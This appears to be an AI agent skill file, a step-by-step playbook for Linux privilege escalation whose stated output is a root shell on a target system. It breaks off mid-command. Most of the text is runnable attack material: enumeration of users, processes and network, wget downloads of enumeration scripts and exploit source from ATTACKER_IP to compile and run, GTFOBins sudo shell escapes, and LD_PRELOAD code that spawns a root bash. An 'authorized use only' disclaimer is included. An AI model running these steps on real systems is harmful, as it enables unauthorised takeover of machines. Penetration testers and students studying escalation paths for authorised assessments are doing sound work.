Linux Privilege Escalation

---
name: linux-privilege-escalation
description: Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege use
category: Security & Systems
source: antigravity
tags: [python, ai, workflow, document, security, vulnerability, cro]
url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/linux-privilege-escalation
---


> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# Linux Privilege Escalation

## Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

## Inputs / Prerequisites

### Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells

### Technical Requirements
- Understanding of Linux filesystem permissions and ownership
- Familiarity with common Linux utilities and scripting
- Knowledge of kernel versions and associated vulnerabilities
- Basic understanding of compilation (gcc) for custom exploits

### Recommended Tools
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
- Linux Exploit Suggester (LES)
- GTFOBins reference for binary exploitation
- John the Ripper or Hashcat for password cracking
- Netcat or similar for reverse shells

## Outputs / Deliverables

### Primary Outputs
- Root shell access on target system
- Privilege escalation path documentation
- System enumeration findings report
- Recommendations for remediation

### Evidence Artifacts
- Screenshots of successful privilege escalation
- Command output logs demonstrating root access
- Identified vulnerability details
- Exploited configuration files

## Core Workflow

### Phase 1: System Enumeration

#### Basic System Information
Gather fundamental system details for vulnerability research:

```bash
# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch
```

#### User and Permission Enumeration

```bash
# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who
```

#### Network Information

```bash
# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l
```

#### Process and Service Enumeration

```bash
# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root
```

#### Environment Variables

```bash
# Full environment
env

# PATH variable (for hijacking)
echo $PATH
```

### Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

```bash
# LinPEAS: download first, inspect the script, then execute only in an authorized lab
curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
less linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh
```

Transfer scripts to target system:

```bash
# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

### Phase 3: Kernel Exploits

#### Identify Kernel Version

```bash
uname -r
cat /proc/version
```

#### Search for Exploits

```bash
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]
```

#### Common Kernel Exploits

| Kernel Version | Exploit | CVE |
|---------------|---------|-----|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |

#### Compile and Execute

```bash
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit
```

### Phase 4: Sudo Exploitation

#### Enumerate Sudo Privileges

```bash
sudo -l
```

#### GTFOBins Sudo Exploitation
Reference https://gtfobins.github.io for exploitation commands:

```bash
# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
```

#### LD_PRELOAD Exploitation
When env_keep includes LD_PRELOAD:

```c
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

```bash
# Compile shared library
gcc